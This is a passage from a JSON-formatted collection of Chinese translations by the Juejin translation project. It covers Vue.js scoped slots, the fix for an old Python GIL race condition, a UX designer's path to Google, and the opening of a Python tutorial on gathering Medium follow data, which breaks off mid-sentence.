<br/>  \n    <slot _name_=\"top\"></slot>  \n    <br/>  \n    <slot _name_=\"bottom\"></slot>  \n  </div>  \n</template>\n```\n\n这样,在我们的子组件中就有了三个插槽。其中 top 和 bottom 插槽是具名插槽。\n\n让我们更新父组件以使用它。\n\n```\n<child-component _v-slot:top_>  \nHello there!  \n</child-component>\n```\n\n注意 —— 我们在这里使用新的 Vue 2.6 语法来指定我们想要定位的插槽：\\`v-slot:theName\\`。\n\n你现在认为会在屏幕上看到什么呢？如果你说是“Hello Top!”，那么你就只说对了一部分。\n\n因为我没有为没有具名的插槽赋予任何值，我们因此也还会得到默认值。所以我们真正会看到的是：\n\nSome default message  \nHello There!\n\n其实真正意义上没有具名的插槽是被当作‘default’，所以你还可以这么做：\n\n```\n<child-component _v-slot:default_>  \nHello There!  \n</child-component>\n```\n\n现在我们就只会看到：\n\nHello There!\n\n因为我们已经提供了值给默认（也就是未具名）插槽，因此具名插槽‘top’和‘bottom’也都没有默认值。\n\n你发送的并不一定只是文本，还可以是其他组件或者 HTML。你可以发送任意你想展示的内容。\n\n## 作用域插槽\n\n![](https://cdn-images-1.medium.com/max/800/1*DNFusxSTHQwwoeWD9iNUrQ.jpeg)\n\n我认为插槽和具名插槽相对简单，一旦你稍微玩玩就可以掌握。可另一方面，作用域插槽虽然名字相似但又有些不同之处。\n\n我倾向于认为作用域插槽有点像一个放映机（或者是一个我欧洲朋友的投影仪）。以下是原因。\n\n子组件中的作用域插槽可以为父组件中的插槽的显示提供数据。这就像一个人带着放映机站在你的子组件里面，然后在父组件的墙上让一些图像发光。\n\n这有一个例子。在子组件中我们像这样设置了一个插槽：\n\n```\n<template>  \n  <div>  \n    <slot _name_=\"top\" _:myUser_=\"user\"></slot>  \n    <br/>  \n    <slot _name_=\"bottom\"></slot>  \n    <br/>  \n  </div>  \n</template>\n\n<script>\n\ndata() {  \n  _return_ {  \n    user: \"Ross\"  \n  }  \n}\n\n</script>\n```\n\n注意到我们的具名插槽‘top’现在有了一个名为‘myUser’的属性，然后我们绑定了一个动态的值在‘user’中。\n\n在我们的父组件中就像这样子设置子组件：\n\n```\n<div>  \n   <child-component _v-slot:top_=\"slotProps\">{{ slotProps }}</child-component>  \n</div>\n```\n\n我们在屏幕上看到的就是这样子：\n\n{ “myUser”: “Ross” }\n\n还是使用放映机的类比，我们的子组件通过 myUser 对象将其用户字符串的值传递给父组件。它在父组件上投射到的墙就被称为‘slotProps’。\n\n我知道这不是一个完美的类比，但当我第一次尝试理解这个机制的时候，它帮助我以这种方式思考。\n\nVue 的文档非常好，而且我也已经看到了一些其他关于作用域插槽工作机制的说明。但很多人采取的方法似乎是将父组件中的所有或部分属性命名为与子组件相同，我认为这会使得数据很难被追踪。\n\n在父组件中使用 ES6 解构，我们这样子写还可以将特定 user 对象从插槽属性（你可以随便怎么称呼它）解脱出来：\n\n```\n<child-component _v-slot:top_=\"{myUser}\">{{ myUser }}</child-component>\n```\n\n或者甚至就只是在父组件中给它一个新的名字：\n\n```\n<child-component _v-slot:top_=\"{myUser: aFancyName}\">{{ aFancyName }}</child-component>\n```\n\n所有都是通过 ES6 解构，与 Vue 本身并没有什么关系。\n\n如果你正开始使用 Vue 和插槽，希望这可以让你起步并解决一些棘手的问题。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/how-i-fixed-a-very-old-gil-race-condition-in-python-3-7.md",
    "content": "> * 原文地址：[How I fixed a very old GIL race condition in Python 3.7](https://vstinner.github.io/python37-gil-change.html)\n> * 原文作者：[Victor Stinner](https://vstinner.github.io/author/victor-stinner.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-fixed-a-very-old-gil-race-condition-in-python-3-7.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-fixed-a-very-old-gil-race-condition-in-python-3-7.md)\n> * 译者：[kezhenxu94](https://github.com/kezhenxu94)\n> * 校对者：[Starrier](https://github.com/Starriers)\n\n# 我是如何修复 Python 3.7 中一个非常古老的 GIL 竞态条件 bug 的\n\n**著名的 Python GIL (Global Interpreter Lock, 全局解析器锁) 库中一个严重的 bug 花了我 4 年的时间去修复**，Python GIL 是 Python 中最容易出错的部分之一。我不得不钻入 Git 的提交历史里面，找到 26 年前 **Guido van Rossum** 提交的记录：彼时，**线程还是很晦涩难懂的东西**。且听我慢慢道来。\n\n## 由 C 线程和 GIL 引起的 Python 致命错误\n\n在 2014 年 3 月份的时候, **Steve Dower** 报告了一个当 “C 语言线程“ 使用 Python C API 时产生的 bug [bpo-20891](https://bugs.python.org/issue20891)：\n\n> 在 Python 3.4rc3 中，在一个不是用 Python 创建的线程中调用 `PyGILState_Ensure()` 方法，但不调用 `PyEval_InitThreads()` 方法时，会导致程序出现严重错误，并退出：\n>\n> `Fatal Python error: take_gil: NULL tstate`\n\n我的第一句评论：\n\n> 在我看来这是 `PyEval_InitThreads()` 的一个 bug 呀。\n\n[![Release the GIL!](https://vstinner.github.io/images/release_the_gil.png)](https://twitter.com/kwinkunks/status/619496450834087938)\n\n## PyGILState_Ensure() 修复方案\n\n两年内我就忘了这个 bug 。到了 2016 年 3 月份，我修改了 Steve 的测试代码，以兼容 Linux (当时的测试代码是在 Windows 上写的)。我成功地在我的电脑上重现了这个 bug ，然后写了个 `PyGILState_Ensure()` 的修复补丁。\n\n一年后，也就是 2017 年 11 月，**Marcin Kasperski** 问道：\n\n> 这个修复补丁发布了吗？我在更改日志里面没有看到…\n\n糟糕，我又一次完全忘了这个问题！这次，我不仅**提交了我对 PyGILState_Ensure() 的修复补丁**，还写了**单元测试** `test_embed.test_bpo20891()`：\n\n> 好了，这个 bug 已经在 Python 2.7, 3.6 和主分支（后来的 3.7）上修复啦。在 3.6 和 master 上，这个补丁还带了单元测试呢。\n\n我在主分支上的修复提交, 提交 [b4d1e1f7](https://github.com/python/cpython/commit/b4d1e1f7c1af6ae33f0e371576c8bcafedb099db)：\n\n```\nbpo-20891: Fix PyGILState_Ensure() (#4650)\n\nWhen PyGILState_Ensure() is called in a non-Python thread before\nPyEval_InitThreads(), only call PyEval_InitThreads() after calling\nPyThreadState_New() to fix a crash.\n\nAdd an unit test in test_embed.\n```\n\n然后我就关了这个 issue [bpo-20891](https://bugs.python.org/issue20891) 了…\n\n## 单元测试在 macOS 上随机奔溃\n\n一切都安好…… 直到一周之后，我意识到我新加的单元测试在 macOS 系统上**时不时**会奔溃。最终我成功找到重现路径，以下例子是第三次运行时奔溃：\n\n```\nmacbook:master haypo$ while true; do ./Programs/_testembed bpo20891 ||break; date; done\nLun  4 déc 2017 12:46:34 CET\nLun  4 déc 2017 12:46:34 CET\nLun  4 déc 2017 12:46:34 CET\nFatal Python error: PyEval_SaveThread: NULL tstate\n\nCurrent thread 0x00007fffa5dff3c0 (most recent call first):\nAbort trap: 6\n```\n\n`test_embed.test_bpo20891()` 在 macOS 的 `PyGILState_Ensure()` 出现了一个竞态条件：GIL 锁自身的构建……没有锁保护！添加一个锁来检测 Python 当前有没有 GIL 锁显然毫无意义……\n\n我提出了修复 `PyThread_start_new_thread()` 的一个不是很完整的建议：\n\n> 我找到一个可行的修复方案：在 `PyThread_start_new_thread()` 中调用 `PyEval_InitThreads()`。这样 GIL 就能够在第二个线程一产生时就创建好了。当有两个线程在运行的时候就不能再创建 GIL 了。但至少在“是不是用 `python`”这种非黑即白的情况下，如果一个线程不是用 Python 创建的，这种修复方案会失效，但此时这个线程又会调用 `PyGILState_Ensure()`。\n\n## 为什么不一开始就创建 GIL？\n\n**Antoine Pitrou** 问了一个简单的问题：\n\n> 为什么不在**解析器初始化时**就调用 `PyEval_InitThreads()`？有什么不好之处吗？\n\n多亏了 `git blame` 和 `git log` 命令，我找到了“按需创建 GIL”代码的发源地，**26 年前的一个变更**！\n\n```\ncommit 1984f1e1c6306d4e8073c28d2395638f80ea509b\nAuthor: Guido van Rossum <guido@python.org>\nDate:   Tue Aug 4 12:41:02 1992 +0000\n\n    * Makefile adapted to changes below.\n    * split pythonmain.c in two: most stuff goes to pythonrun.c, in the library.\n    * new optional built-in threadmodule.c, build upon Sjoerd's thread.{c,h}.\n    * new module from Sjoerd: mmmodule.c (dynamically loaded).\n    * new module from Sjoerd: sv (svgen.py, svmodule.c.proto).\n    * new files thread.{c,h} (from Sjoerd).\n    * new xxmodule.c (example only).\n    * myselect.h: bzero -> memset\n    * select.c: bzero -> memset; removed global variable\n\n(...)\n\n+void\n+init_save_thread()\n+{\n+#ifdef USE_THREAD\n+       if (interpreter_lock)\n+               fatal(\"2nd call to init_save_thread\");\n+       interpreter_lock = allocate_lock();\n+       acquire_lock(interpreter_lock, 1);\n+#endif\n+}\n+#endif\n```\n\n我猜测这种动态创建 GIL 的意图是为了避免那些只使用了一个线程（即永远不会新建线程）的应用“过早”创建 GIL 的情况。\n\n幸运的是，**Guido van Rossum** 当时也在，能够和我一起找出根本原因：\n\n> 是的，最初的原因就是**线程是很晦涩难懂的，也没有多少代码里面会用线程**，那时，由于 GIL 代码中的 bug ，我们肯定会觉得**频繁使用 GIL 会导致（微小的）性能下降**和**奔溃风险的上升**。现在了解到我们不再需要担心这两方面的问题了，可以**尽情地使用初始化它了**。\n\n## Py_Initialize() 的第二个修复方案的提出\n\n我提议了 `Py_Initialize()` 的**另一个修复方案**：总是在 Python 一启动的时候就创建 GIL ，不再“按需”创建，以避免竞态条件发生的风险：\n\n```\n+    /* Create the GIL */\n+    PyEval_InitThreads();\n```\n\n**Nick Coghlan** 问我是否能够在我的补丁上运行一下性能基准测试。我在我的 [PR 4700](https://github.com/python/cpython/pull/4700/) 上运行了 [pyperformance](http://pyperformance.readthedocs.io/)，差距高达 5%：\n\n```\nhaypo@speed-python$ python3 -m perf compare_to \\\n    2017-12-18_12-29-master-bd6ec4d79e85.json.gz \\\n    2017-12-18_12-29-master-bd6ec4d79e85-patch-4700.json.gz \\\n    --table --min-speed=5\n\n+----------------------+--------------------------------------+-------------------------------------------------+\n| Benchmark            | 2017-12-18_12-29-master-bd6ec4d79e85 | 2017-12-18_12-29-master-bd6ec4d79e85-patch-4700 |\n+======================+======================================+=================================================+\n| pathlib              | 41.8 ms                              | 44.3 ms: 1.06x slower (+6%)                     |\n+----------------------+--------------------------------------+-------------------------------------------------+\n| scimark_monte_carlo  | 197 ms                               | 210 ms: 1.07x slower (+7%)                      |\n+----------------------+--------------------------------------+-------------------------------------------------+\n| spectral_norm        | 243 ms                               | 269 ms: 1.11x slower (+11%)                     |\n+----------------------+--------------------------------------+-------------------------------------------------+\n| sqlite_synth         | 7.30 us                              | 8.13 us: 1.11x slower (+11%)                    |\n+----------------------+--------------------------------------+-------------------------------------------------+\n| unpickle_pure_python | 707 us                               | 796 us: 1.13x slower (+13%)                     |\n+----------------------+--------------------------------------+-------------------------------------------------+\n\nNot significant (55): 2to3; chameleon; chaos; (...)\n```\n\n哇，5 个基准降低了。性能回归测试在 Python 中很受欢迎：我们一直都致力于[让 Python 跑得更快](https://lwn.net/Articles/725114/)！\n\n## 圣诞前夕跳过失败的测试\n\n我没有料到有 5 个基准测试性能都降低了。这需要更深层的探究，但我没有时间去做这些探究，如果要做性能回归测试，我又得对此负责，感觉太害羞/羞愧了。\n\n在圣诞节假期之前，我还下不定决心，然而 `test_embed.test_bpo20891()` 还是一如既往地在 macOS 系统上随机奔溃。让我在假期前的两周时间内去接触 Python 中最最容易出错的部分 —— GIL 着实让我感到很难受。所以我决定跳过 `test_bpo20891()` 的单元测试直到过完假期再说。\n\nPython 3.7 ，没有彩蛋。\n\n[![Sad Christmas tree](https://vstinner.github.io/images/sad_christmas_tree.png)](https://drawception.com/panel/drawing/0teL3336/charlie-brown-sad-about-small-christmas-tree/)\n\n## 运行新的基准测试，第二个修复补丁合并到主分支\n\n在 2018 年的 1 月末，我再一次运行了我 PR 中性能降下来的那 5 个基准测试。我在我的笔记本上手动运行这些基准测试，让不同的测试使用独立的 CPU ：\n\n```\nvstinner@apu$ python3 -m perf compare_to ref.json patch.json --table\nNot significant (5): unpickle_pure_python; sqlite_synth; spectral_norm; pathlib; scimark_monte_carlo\n```\n\n好了，根据 [Python “性能”基准测试套件](http://pyperformance.readthedocs.io/)，现在证明了我的第二个修复方案其实并**没有对性能产生多大的影响**。\n\n我决定把我的修复方案推送到主分支，提交 [2914bb32](https://github.com/python/cpython/commit/2914bb32e2adf8dff77c0ca58b33201bc94e398c)：\n\n```\nbpo-20891: Py_Initialize() now creates the GIL (#4700)\n\nThe GIL is no longer created \"on demand\" to fix a race condition when\nPyGILState_Ensure() is called in a non-Python thread.\n```\n\n然后我在主分支上重新启动了 `test_embed.test_bpo20891()` 单元测试。\n\n## 对不起，Python 2.7 和 3.6 没有第二个修复补丁！\n\n**Antoine Pitrou** 想过要把补丁移植到 Python 3.6 [不能合并](https://github.com/python/cpython/pull/5421#issuecomment-361214537)：\n\n> 我觉得没必要。大家已经可以调用 `PyEval_InitThreads()` 了。\n\n**Guido van Rossum** 也不想移植这个补丁。所以我就从 3.6 的主分支中移除了 `test_embed.test_bpo20891()`。\n\n由于同样的原因，我也没有在 Python 2.7 中应用我的第二个补丁，此外，Python 2.7 没有单元测试，因为移植太难了。\n\n但至少，Python 2.7 和 3.6 应用了我的第一个补丁，`PyGILState_Ensure()`。\n\n## 总结\n\nPython 在一些边界情况下仍然有一些竞态条件。这种 bug 是在 C 线程使用 Python API 创建 GIL 时发现的。我推送了第一个补丁，但另一个新的竞态条件在 macOS 上出现了。\n\n我不得不钻进 Python GIL 非常古老的提交历史（1992 年）中。幸运的是 **Guido van Rossum** 能够帮忙一起找到 bug 的根本原因。\n\n在一次基准测试小故障后，我们意见达成一致，在 Python 3.7 中总是一启动解析器就创建 GIL，而不是“按需”创建。这种变更没有对性能产生明显的影响。\n\n同时我们也决定保持 Python 2.7 和 3.6 不变，以防止任何回归测试的风险：继续“按需”创建 GIL。\n\n**著名的 Python GIL (Global Interpreter Lock, 全局解析器锁) 库中一个严重的 bug 花了我 4 年的时间去修复**，Python GIL 是 Python 中最容易出错的部分之一。很开心现在这个 bug 已经被我们甩开了：在即将发布的 Python 3.7 中已经被完全修复了！\n\n在 [bpo-20891](https://bugs.python.org/issue20891) 查看完整的故事。感谢帮助我修复这个 bug 的所有开发者！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-i-landed-a-job-in-ux-design-at-google.md",
    "content": "> * 原文地址：[How I landed a job in UX Design at Google](https://uxdesign.cc/how-i-landed-a-job-in-ux-design-at-google-58103f8bf766)\n> * 原文作者：[Lola Jiang](https://uxdesign.cc/@hjwwjxm?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-landed-a-job-in-ux-design-at-google.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-landed-a-job-in-ux-design-at-google.md)\n> * 译者：[Ryden Sun](https://juejin.im/user/585b9407da2f6000657a5c0c)\n> * 校对者：[atuooo](https://github.com/atuooo), [lihanxiang](https://github.com/lihanxiang)\n\n# 我是如何找到谷歌 UX 设计工作的\n\n## 三堂学校不会教你的 UX 课\n\n![](https://cdn-images-1.medium.com/max/800/1*qkizTQLSlwHR6xONU0cYDQ.jpeg)\n\n<center>我在谷歌的面试地点是在 Sunnyvale 园区</center>\n\n现在，在刚开始入门 UX 设计和找实习工作时，很多人都会对其面临的困难大惊小怪。\n\n坦白说，现在大家可以轻易地通过网课学习 UX 的技能，同时也可以在设计类院校或者培训班学习。最终，每一个初级设计师的简历都会提到几乎一样的技能，因此，会越来越难在简历上有所出彩。\n\n当我研究生入学，学习 HCI（人机交互）时还是很乐观地看待问题的，我清楚地知道现实生活的真正含义 —— **即使有 UX 技能，而且你也对你所做的事情抱有激情，但这并不意味着你可以轻易地找到工作**。\n\n事实上，我喜欢做很多事情 —— 我很爱和他人分享我的想法，让我迸发灵感，记录大家的看法然后考虑其内在的想法，向客户提出想法并且自豪地展示它们。我想到，这些技能可能会帮助我找到实习工作。但是我错了。我投递的所有简历和个人简介档案都没有成功。我不信邪，接着投，但结果是**我仍然被拒**。\n\n在这里，我将分享我的故事，讲述我的毅力如何引导我学习对我的领域非常重要和有益的技能，但是没有人在学校教这些课程。\n\n### 设计模式\n\n在 2017 年夏天，我开始在本地一家创业企业做实习。因为我认为我第一份工作让我缺少足够的行业经验，我开始在秋天寻找第二份实习。\n\n我很自信，我认为我的设计技能很“足够”。兄弟，我真错了。\n\n我去过知乎面试，中国的 Quora，面试官是设计部门的老大。我被一个问题难住了：“唉，你一直都只用 Android？”我说是，坦白说，没多加思考。他微笑。我被拒绝了，后来我意识到他是苹果的真爱粉，他更期望我回答像“苹果 iOS 11 中，哪个设计细节最令你印象深刻？”这样的问题。\n\n经历那次面试后，我意识到随着时代不断的创新，设计师不应该只关注于一个品牌的交互设计（比如安卓和苹果），相反，设计师的技能和知识应该足够广阔，以满足不同的设计模式。\n\n因此为了拓展我的技能，我开始用 iPhone 并且加入一个学习小组，同时阅读 [iOS 人机交互指南](https://developer.apple.com/ios/human-interface-guidelines/overview/themes/)和[谷歌 Material Design](https://material.io/guidelines/) 这些设计指导规范。并且学习 Julie Zhuo’s 的[怎样做产品评测](https://medium.com/the-year-of-the-looking-glass/how-to-do-a-product-critique-98b657050638)的文章，开始做 app 评测。\n\n你知道你的技巧在一点一点提升的感觉吗？我坚持了两个月之后有了这种感觉。我从来没想过会感到如此强烈和有成就感！**我开始变得对设计模式更敏感，也知晓了设计师是如何有能力提高与开发者之间的沟通效率，以及如何降低用户的学习难度。**\n\n![](https://cdn-images-1.medium.com/max/800/1*b_XTl1J1BOE_VIlFpPrG1w.png)\n\n<center>我是如何通过 app 评测（左）和设计指南（右）学习设计模式的。</center>\n\n### 设计策略\n\n最近，我经常会问自己这些问题：\n\n*   为什么有些产品成功了，而有同样设计模式的产品失败了？比如[文章分享](https://design.quora.com/Design-Conflicts-in-Messenger-Day)。\n*   为什么有些产品有庞大的用户，即便它并不是易于使用的？比如 [Snapchat](https://blog.figma.com/designers-weigh-in-did-snapchat-succeed-because-of-its-controversial-ui-17eab17647d8)。\n*   为什么一些炫酷的视觉风格会让一个产品失去韵味？比如 [Wikipedia](https://www.fastcodesign.com/3029269/a-prettier-wikipedia-design-that-could-never-work)，[Facebook](http://www.businessinsider.com/facebook-failed-news-feed-redesign-2014-3)。\n\n我浏览了我偶像的 Twitter 账户后发现一些可以影响产品的因素。\n\n有一个观点让我印象深刻，叫做[**网络效应**](https://a16z.com/2016/03/07/all-about-network-effects/)，是 Uber、Airbnb、Facebook 和 Amazon 倾力打造的护城河。著名的[谷歌设计之宠物领养项目](https://medium.com/@polkuijken/pet-adoption-8798b14af117)就是一种网络效应，同时有供应方（庇护所）和需求方（想养宠物的人）。有[很多特殊的策略](https://a16z.com/2016/03/07/all-about-network-effects/)来启动不同的功能，以此来解决“鸡生蛋蛋生鸡”的问题并且实现网络效应。\n\n**增长框架**是我设计中使用的另一个策略框架。有一次我在提升注册流程中有困难，因为仅仅提升交互细节是不够的。如果设计师能够考虑到注册流程背后东西不是更好？通过考虑商业上的目标可以解决这些问题；我们如何获取用户？我们如何让用户参与进来？我们如何才能传递我们的产品价值？（看一下 [Chamath Palihapitiya](https://youtu.be/raIUQP71SBU) 的视频，会学到更多。）\n\n一开始，我并不认为这些框架会在我面试中有所帮助；毕竟我当时只是一个初级设计师。但是幸运的是，效果很棒。**这些框架让我对整个产品开发过程有了一个全面的了解，并且让我和产品经理有了相同的想法。**（参考 Julie Zhuo 的[我们期望从产品经理那里获得什么](https://medium.com/the-year-of-the-looking-glass/what-to-expect-from-pms-e9750ec09bbf)。）\n\n### 行业经验\n\n老实说，我当时很嫉妒我那些凭借好简历进去谷歌 UX 设计实习的朋友们。\n\n后来我认识到我错了。当我有两份实习时，我切实的接触到了实际的工作环境。我开始学到了这些东西：\n\n**设计：** 我学习了[如何分解一个庞大的任务](https://medium.com/@hjwwjxm/3-things-i-learned-during-my-ux-internship-at-clinc-50a82b229294)来“建立一个设计系统”，不到一个月时间，学会了如何用 Html 来改进视觉设计，以及如何使用[增长框架](http://andrewchen.co/new-data-shows-why-losing-80-of-your-mobile-users-is-normal-and-that-the-best-apps-do-much-better/)来将商业目标 —— “提高留存”转化成实际的设计目标，由此可以迅速开展工作。\n\n**说服力：** 我学会了如何引领工程师们参与到头脑风暴中，以此来培养他们的主人公意识，并且学会了如何让 CEO 接受他关心的交付结果。\n\n**促进：** 我学会了如何利用有限的资源收集观点，通过接触客户成功经理（Saas 行业新型的一种概念）和数据分析工程师，学会了如何获取建设性的反馈意见，也学会了开动脑筋想一个更有意思的项目。\n\n我很感激我遇到的所有挑战，最重要的是，我所得到的帮助和支持。我的 CEO 甚至对我的设计方案在 2017 年腾讯企业合作者大会上进行了介绍。**能够执行我的设计方案并且完成任务的感觉让我心花怒放。**\n\n![](https://cdn-images-1.medium.com/max/800/1*azkkrfF1fsfK6G7cSPOQiA.png)\n\n<center>我的 CEO 在 2017 年腾讯企业合作者大会上介绍我的设计方案</center>\n\n### 结论\n\n一开始，我希望凭借我自身的设计技能进入我梦想的公司工作。但一路走来，我认识到这三节 UX 课程是多么重要：\n\n*   **设计模式** 帮助我做出更多精细的设计，这让工程师和用户都开心。\n*   **设计策略** 给了我关于我自己设定的设计挑战一个全新的认识。\n*   **行业经验** 帮助我作为一个 UX 设计师更加坚持自我。\n\n我很感激自己掌握了主动权并且进入了梦想的公司。\n\n我十分期待开展我新的学习旅程并且[不断迭代成长](https://medium.com/the-year-of-the-looking-glass/junior-designers-vs-senior-designers-fbe483d3b51e)。你好，谷歌！\n\n* * *\n\n如果你喜欢这篇文章，请给我点赞，这样更多的人就可以看见这篇文章了。谢谢！ 👏\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-i-used-python-to-find-interesting-people-on-medium.md",
    "content": "> * 原文地址：[How I used Python to find interesting people to follow on Medium](https://medium.freecodecamp.org/how-i-used-python-to-find-interesting-people-on-medium-be9261b924b0)\n> * 原文作者：[Radu Raicea](https://medium.freecodecamp.org/@Radu_Raicea?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-used-python-to-find-interesting-people-on-medium.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-used-python-to-find-interesting-people-on-medium.md)\n> * 译者：[Park-ma](https://github.com/Park-ma)\n> * 校对者：[mingxing47](https://github.com/mingxing47)\n\n# 我是如何使用 Python 在 Medium 上找到并关注有趣的人\n\n![](https://cdn-images-1.medium.com/max/1600/1*9rLeOFD7rvImTlcXQUe-mw.png)\n\n图片来源：[Old Medium logo](https://icons8.com/icon/21634/medium)\n\nMedium 上有大量的内容、用户和不计其数的帖子。当你试图寻找有趣的用户来关注时，你会发现自己不知所措。\n\n我对于有趣的用户的定义是来自你的社交网络，保持活跃状态并经常在 Medium 社区发表高质量评论的用户。\n\n我查看了我关注的用户的最新的帖子来看看是谁在回复他们。我认为如果他们回复了我关注的用户，这就说明他们可能和我志趣相投。\n\n这个过程很繁琐，这就让我想起了我上次实习期间学到的最有价值的一课：\n\n**任何繁琐的任务都能够并且应该是自动化完成的。**\n\n我想要我的自动化程序能够做下面的事情：\n\n1.  从我的关注中获取所有的**用户**\n2.  从每一个用户中获取最新的**帖子**\n3.  获取每一个帖子的所有**评论**\n4.  筛选出30天以前的回复\n5.  筛选出少于最小推荐数的回复\n6.  获取每个回复的作者的**用户名**\n\n### 让我们开始吧\n\n我首先看了看 [Medium's API](https://github.com/Medium/medium-api-docs)，却发现它很有限。它给我提供的功能太少了。通过它，我只能获取关于我自己的账号信息，而不能获取其他用户的信息。\n\n最重要的是，Medium's API 的最后一次更新是一年多前，最近也没有要开发的迹象。\n\n我意识到我只能依靠 HTTP 请求来获取我的数据，所以我开始使用我的 [**Chrome 开发者工具**](https://developer.chrome.com/devtools)。\n\n第一个目标是获取我的关注列表。\n\n我打开我的开发者工具并进入 Network 选项卡。我过滤了除了 [XHR](https://en.wikipedia.org/wiki/XMLHttpRequest) 之外的所有内容以查看 Medium 是从什么地方来获取我的关注的。我刷新了我的个人资料页面，但是什么有趣的事情都没发生。\n\n如果我点击我的个人资料上的关注按钮怎么样？成功啦！\n\n![](https://cdn-images-1.medium.com/max/2000/1*JupqRL6NMgJRVu0vrQr3_Q.png)\n\n我找到用户关注列表的链接。\n\n在这个链接中，我发现了一个非常大的 [JSON](https://en.wikipedia.org/wiki/JSON) 响应。它是一个格式很好的 JSON，除了在响应开头的一串字符：`])}while(1);</x>`\n\n我写了一个函数整理了格式并把 JSON 转换成一个 Python 字典。\n\n```python\nimport json\n\ndef clean_json_response(response):\n    return json.loads(response.text.split('])}while(1);</x>')[1])\n```\n\n我已经找到了一个入口点，让我们开始编写代码吧。\n\n### 从我的关注列表中获取所有用户 \n\n为了查询端点，我需要我的用户 ID（尽管我早就知道啦，这样做是出于教育目的）。\n\n我在寻找获取用户 ID 的方法时[发现](https://medium.com/statuscode/building-a-basic-web-service-to-display-your-medium-blog-posts-on-your-website-using-aws-api-48597b1771c5)可以通过添加 `?format=json` 给 Medium 的 URL 地址来获取这个网页的 JSON 响应。我在我的个人主页上试了试。 \n\n看看，这就是我的用户 ID。\n\n```\n])}while(1);</x>{\"success\":true,\"payload\":{\"user\":{\"userId\":\"d540942266d0\",\"name\":\"Radu Raicea\",\"username\":\"Radu_Raicea\",\n...\n```\n\n我写了一函数从给出的用户名中提取用户 ID 。同样，我使用了 `clean_json_response` 函数来去除响应开头的不想要的字符串。\n\n我还定义了一个叫 `MEDIUM` 的常量，它用来存储所有 Medium 的 URL 地址都包含的字符串。\n\n```python\nimport requests\n\nMEDIUM = 'https://medium.com'\n\ndef get_user_id(username):\n\n    print('Retrieving user ID...')\n\n    url = MEDIUM + '/@' + username + '?format=json'\n    response = requests.get(url)\n    response_dict = clean_json_response(response)\n    return response_dict['payload']['user']['userId']\n```\n\n通过用户 ID ，我查询了 `/_/api/users/<user_id>/following` 端点，从我的关注列表里获取了用户名列表。\n\n当我在开发者工具中做这时，我注意到 JSON 响应只有八个用户名。很奇怪！\n\n当我点击 “Show more people”，我找到了缺少的用户名。原来 Medium 使用[**分页**](https://developer.twitter.com/en/docs/ads/general/guides/pagination)的方式来展示关注列表。\n\n![](https://cdn-images-1.medium.com/max/2000/1*WgYlp-dmUC9kdQ0iSNUtdg.png)\n\nMedium 使用分页的方式来展示关注列表。\n\n分页通过指定 `limit`（每页元素）和 `to`（下一页的第一个元素）来工作，我必须找到一种方式来获取下一页的 ID。\n\n在从 `/_/api/users/<user_id>/following` 获取的 JSON 响应的尾部，我看到了一个有趣的 JSON 